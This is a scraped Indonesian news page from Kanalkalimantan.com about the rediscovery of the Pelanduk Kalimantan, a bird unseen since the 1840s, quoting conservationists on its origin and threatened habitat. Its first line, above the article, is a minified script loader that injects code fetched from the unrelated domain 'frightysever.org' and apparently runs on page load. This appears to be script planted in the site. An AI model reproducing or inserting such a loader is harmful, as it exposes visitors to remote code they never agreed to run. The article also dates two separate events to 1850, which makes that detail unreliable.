(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penemuan Pelanduk Kalimantan merupakan kabar yang cukup menggembirakan. Betapa tidak, burung langka ini pertama kali dijelaskan oleh ahli burung asal Perancis, Charles Lucien Bonaparte pada 1850.
Hal tersebut berdasarkan spesimen yang dikumpulkan oleh ahli geologi dan naturalis Jerman, Carl Schwaner selama ekspedisinya ke Hindia Timur pada 1840.
Tapi sejak saat itu, Pelanduk Kalimantan tidak lagi terlihat. Bahkan informasi mengenai pulau tempat pengambilan spesimennya juga tidak jelas.
Baru pada 1850, ahli burung asal Swiss, Johann Buttikofer menunjukkan bahwa Schwanner berada di Kalimantan saat menemukan burung ini.
Panji Gusti Akbar dari kelompok konservasi burung Indonesia mengatakan kemunculan kembali Pelanduk Kalimantan telah menegaskan bahwa spesies ini memang berasal dari Kalimantan bagian tenggara.
“Ini sekaligus mengakhiri kebingungan selama satu abad lebih tentang asal usulnya,” kata Panji.
“Kami sekarang juga tahu seperti apa rupa Pelanduk Kalimantan — burung yang difoto itu menunjukkan beberapa perbedaan dari satu-satunya spesimen yang diketahui, khususnya warna iris, paruh dan kaki. Ketiga bagian tubuh burung ini diketahui telah kehilangan warnanya dan sering kali diwarnai secara buatan selama proses taksidermi.”
“Penemuan itu juga menegaskan bahwa spesies ini tetap ada meskipun terjadi deforestasi besar-besaran dan konversi habitat di bagian Kalimantan yang kurang dikenal ini. Oleh karena itu ada kemungkinan yang sangat besar burung itu terancam kehilangan habitatnya.”
Teguh Willy Nugroho, salah satu penulis makalah BirdingASIA itu dan juga staf Taman Nasional Sebangau di Kalimantan, dan anggota pendiri BW Galeatus, mengamati bahwa penemuan luar biasa ini menunjukkan pentingnya jaringan masyarakat lokal, pengamat burung, dan ilmuwan profesional dalam mengumpulkan informasi tentang keanekaragaman hayati Indonesia.
Ia juga mengatakan temuan ini bisa menjadi penting di daerah-daerah terpencil yang tidak mudah diakses oleh para ilmuwan.
“Saya rasa sungguh menakjubkan bahwa kami berhasil mendokumentasikan salah satu penemuan zoologi paling luar biasa di Indonesia, jika bukan di Asia (sebagian besar melalui komunikasi online) di di tengah pandemi virus corona, yang membuat kami tidak bisa mengunjungi lokasi,” kata Teguh.
Penemuan kembali Pelanduk Kalimatan itu secara dramatis menunjukkan betapa kurang dikenalnya keanekaragaman burung di Indonesia, yang merupakan terbesar di Asia — dengan lebih dari 1.700 spesies ditemukan di banyak pulau kecil yang disurvei di seluruh nusantara.
“Sungguh menyedihkan untuk berpikir bahwa ketika Pelanduk Kalimantan terakhir terlihat, buku ‘Origin of Species’ karya Charles Darwin bahkan belum dipublikasikan dan merpati pengembara yang sekarang punah tergolong burung yang paling umum di dunia, “kata Ding Li Yong, seorang ahli konservasi di Asia dengan badan amal konservasi burung terkemuka di dunia, BirdLife International, dan juga penulis makalah.”
“Siapa yang tahu kekayaan apa yang ada jauh di dalam hutan hujan Kalimantan, terutama di bagian Indonesia, dan kebutuhan terpenting untuk melindungi mereka demi generasi masa depan,” ungkapnya. (Kanalkalimantan.com/berbagi sumber)
Editor: cell
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.